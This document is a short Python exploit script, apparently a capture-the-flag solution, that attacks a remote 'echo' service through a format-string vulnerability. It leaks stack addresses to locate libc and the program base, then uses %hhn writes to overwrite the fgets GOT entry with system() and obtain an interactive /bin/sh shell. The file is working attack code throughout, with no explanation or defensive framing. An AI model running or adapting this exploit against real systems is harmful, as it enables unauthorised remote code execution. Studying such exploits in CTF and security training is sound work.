#!/usr/bin/env python
# encoding:utf-8

from utils import *

io = remote('202.120.7.152', 9995)
# io = debug('./echo'); io.r()

elf = ELF('echo/echo')
libc = ELF('echo/libc.so.6')

def FILL_8(payload, last, aim, pos):
    now = aim
    if (now != last):
        if (now < last):
            now += 0x100
        payload += '%1$' + str(now - last) + 'c'
        last = now & 0xff
    payload += '%' + str(pos) + '$hhn'
    return payload, last

io.recvuntil('Your Message:')
io.sendline('%43$p')
main_ret_addr = int(io.recvline(), 16)
libc_base_addr = main_ret_addr - 0x19a83
system_addr = libc_base_addr + libc.symbols['system']
log.info('system address: 0x%08x' % system_addr)

io.recvuntil('Your Message:')
io.sendline('%72$p')
main_addr = int(io.recvline(), 16)
program_base_addr = main_addr - 0x0000079B
fgets_got_addr = program_base_addr + elf.got['fgets']
log.info('main address: 0x%08x' % main_addr)
log.info('fgets got address: 0x%08x' % fgets_got_addr)

payload = '/bin/sh;'
last = len(payload)
payload, last = FILL_8(payload, last, system_addr & 0xff, 27)
payload, last = FILL_8(payload, last, (system_addr >> 8) & 0xff, 28)
payload, last = FILL_8(payload, last, (system_addr >> 16) & 0xff, 29)
payload, last = FILL_8(payload, last, (system_addr >> 24) & 0xff, 30)
payload = right_pad(payload, 80)
payload += p32(fgets_got_addr)
payload += p32(fgets_got_addr + 1)
payload += p32(fgets_got_addr + 2)
payload += p32(fgets_got_addr + 3)

io.sendline(payload)
io.ext_interactive()
